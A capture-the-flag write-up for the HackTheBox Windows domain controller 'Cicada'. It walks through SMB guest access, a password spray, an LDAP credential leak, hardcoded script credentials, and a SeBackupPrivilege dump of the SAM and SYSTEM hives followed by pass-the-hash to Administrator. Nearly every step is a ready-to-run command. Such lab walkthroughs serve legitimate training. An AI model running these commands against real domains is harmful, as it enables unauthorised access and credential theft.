Cicada

Field	Value
Platform	HackTheBox
OS	Windows (Domain Controller)
Difficulty	Easy
Initial Vector	Guest SMB → HR share default password → spray → LDAP description leak → DEV share script
Privesc	SeBackupPrivilege → SAM/SYSTEM hive dump → Pass-the-Hash as Administrator

---

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.231.149 -n -Pn -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49680,49681,49684,49700 --min-rate 5000 10.129.231.149 -n -Pn

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-21 07:38:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, ...)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
smb2-security-mode: Message signing enabled and required

Port	Service	Version	Notes
53	DNS	Simple DNS Plus	Domain: cicada.htb
88	Kerberos	—	DC confirmed; hostname CICADA-DC
139/445	SMB	—	Signing required; Guest read access to HR
389/636/3268/3269	LDAP/LDAPS	—	SSL cert confirms CICADA-DC.cicada.htb
5985	WinRM	HTTPAPI 2.0	Shell entry point once correct creds obtained

Kerberos on 88 and LDAP on 389 confirmed a Domain Controller. The hostname CICADA-DC and domain cicada.htb were leaked via the SSL certificate CN and Nmap service info. The clock skew was exactly +7 hours with zero deviation — mandatory to correct before any Kerberos operations. SMB signing required ruled out relay attacks.

timedatectl set-ntp false
ntpdate -s 10.129.231.149

echo "10.129.231.149 cicada.htb CICADA-DC.cicada.htb CICADA-DC" >> /etc/hosts

---

Phase 2 — Service Enumeration

SMB (445)

I started with null and Guest session checks to determine what was accessible without domain credentials.

nxc smb 10.129.231.149 -u '' -p '' --shares
nxc smb 10.129.231.149 -u 'Guest' -p '' --shares

The null session was denied but the Guest account had read access to HR and IPC$. Non-default shares accessible without domain credentials are always worth investigating first. I connected to HR and retrieved the only file present.

smbclient //10.129.231.149/HR -U cicada.htb/guest

The file was an HR onboarding notice containing a default password issued to new employees: Cicada$M6Corpb*@Lp#nZp!8. This seeded the password spray.

I built a domain user list via RID brute-forcing using the Guest session — RPC null session was denied, but nxc RID cycling with Guest worked.

nxc smb 10.129.231.149 -u 'guest' -p '' --users --rid-brute

With the user list built, I sprayed the default credential across all accounts to identify any that had not rotated their initial password.

nxc smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

michael.wrightson still had the default password set. Credentials confirmed: michael.wrightson : Cicada$M6Corpb*@Lp#nZp!8.

I used rpcclient with his credentials to enumerate group memberships and identify Domain Admin accounts before moving further.

rpcclient -U "michael.wrightson" 10.129.231.149 -c "enumdomusers"
rpcclient -U "michael.wrightson" 10.129.231.149 -c "enumdomgroups"
rpcclient -U "michael.wrightson" 10.129.231.149 -c "querygroupmem 0x200"
rpcclient -U "michael.wrightson" 10.129.231.149 -c "queryuser 0x1f4"

Administrator was confirmed as the sole Domain Admin. Share enumeration with michael.wrightson — HR, NETLOGON, SYSVOL — returned nothing actionable.

---

Kerberos (88)

With the user list and michael.wrightson credentials available, I checked both Kerberos attack paths before pivoting to LDAP.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.231.149 cicada.htb/
GetUserSPNs.py cicada.htb/michael.wrightson:'Cicada$M6Corpb*@Lp#nZp!8' -dc-ip 10.129.231.149 -request

No accounts had pre-authentication disabled and no SPNs were registered. Neither AS-REP roasting nor Kerberoasting was viable here.

---

LDAP (389)

With Kerberos paths exhausted, I ran an authenticated LDAP query against the Users container to enumerate all user attributes — specifically looking for credentials stored in description fields, which is a recurring misconfiguration across AD environments.

ldapsearch -x -H ldap://10.129.231.149 -D 'cicada\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "CN=Users,DC=cicada,DC=htb"

david.orelious had his password stored verbatim in the description attribute.

description: Just in case I forget my password is aRt$Lp#7t*VQ!3

Credentials recovered: david.orelious : aRt$Lp#7t*VQ!3. WinRM was denied for this account, but share enumeration revealed exclusive read access to a non-default share: DEV.

nxc smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

I connected to DEV and retrieved the only file present.

smbclient //10.129.231.149/DEV -U cicada.htb/david.orelious%'aRt$Lp#7t*VQ!3' -c "get Backup_script.ps1"

Backup_script.ps1 contained hardcoded credentials for a third account. Plaintext credentials embedded in scripts stored on accessible shares are a common finding in AD environments — backup and automation scripts frequently require authentication and are rarely stored with appropriate access controls.

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force

Credentials recovered: emily.oscars : Q!3@Lp#M6b7tVt.

---

WinRM (5985)

I verified emily.oscars could authenticate over WinRM before opening a shell.

nxc winrm 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
# [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)

---

Phase 3 — Attack Path

Initial Access

I opened an interactive shell as emily.oscars over WinRM. The credential chain to reach this account spanned four accounts across three discovery methods: Guest → default password spray → michael.wrightson → LDAP description leak → david.orelious → DEV share script → emily.oscars.

evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Post-Shell Enumeration

I ran full privilege and group enumeration immediately after landing the shell.

whoami /all

emily.oscars was a member of Backup Operators and held SeBackupPrivilege. This privilege was designed to allow backup software to read any file regardless of NTFS ACLs — including the SAM and SYSTEM registry hives. Those hives together contain the NTLM hashes of all local accounts, including the local Administrator. Dumping them offline with impacket-secretsdump bypasses LSASS entirely and requires no kernel interaction.

The user flag was located at C:\Users\emily.oscars.CICADA\Desktop\user.txt.

Privilege Escalation

I saved the SAM and SYSTEM hives to the current directory using reg save. SeBackupPrivilege allows this even without being a local administrator, as the privilege explicitly bypasses file ACL checks for read operations.

reg save hklm\sam sam
reg save hklm\system system

I downloaded both hives to the attack machine.

download sam .
download system .

I extracted the local account hashes offline using impacket-secretsdump in local mode — no network connection to the DC required.

impacket-secretsdump -sam sam -system system local

Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::

I passed the NT hash directly to evil-winrm to open an Administrator shell without needing to crack the password.

evil-winrm -i 10.129.231.149 -u 'administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

Shell obtained as cicada\Administrator. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

---

Flags

Flag	Path	Value
User	C:\Users\emily.oscars.CICADA\Desktop\user.txt	FLAG{REDACTED}
Root	C:\Users\Administrator\Desktop\root.txt	FLAG{REDACTED}

---

Conclusion

1. A two-phase Nmap scan identified a Windows DC with SMB, LDAP, Kerberos, and WinRM exposed; the domain cicada.htb and hostname CICADA-DC were leaked via LDAP banner and SSL certificate CN.
2. A null session was denied but Guest had read access to the HR share, which contained an onboarding document with a default password — Cicada$M6Corpb*@Lp#nZp!8; RID brute-forcing via the Guest session produced the full domain user list.
3. Password spraying the default credential identified michael.wrightson as still using it; rpcclient confirmed Administrator as the sole Domain Admin.
4. Neither AS-REP roasting nor Kerberoasting was viable; an authenticated LDAP dump of the Users container revealed david.orelious had stored his password in his description attribute — david.orelious : aRt$Lp#7t*VQ!3.
5. david.orelious had exclusive read access to the DEV share; Backup_script.ps1 inside contained hardcoded credentials — emily.oscars : Q!3@Lp#M6b7tVt — which authenticated over WinRM and yielded the user flag.
6. emily.oscars held SeBackupPrivilege via Backup Operators membership; reg save dumped the SAM and SYSTEM hives, impacket-secretsdump extracted the Administrator NT hash offline, and Pass-the-Hash via evil-winrm delivered an Administrator shell and the root flag.

The system fell because a four-account credential chain — each link a separate misconfiguration (Guest share exposure, unrotated default password, plaintext password in LDAP description, hardcoded script credential) — compounded into a complete unauthenticated-to-Administrator path, with SeBackupPrivilege providing the final escalation without any exploit or LSASS interaction.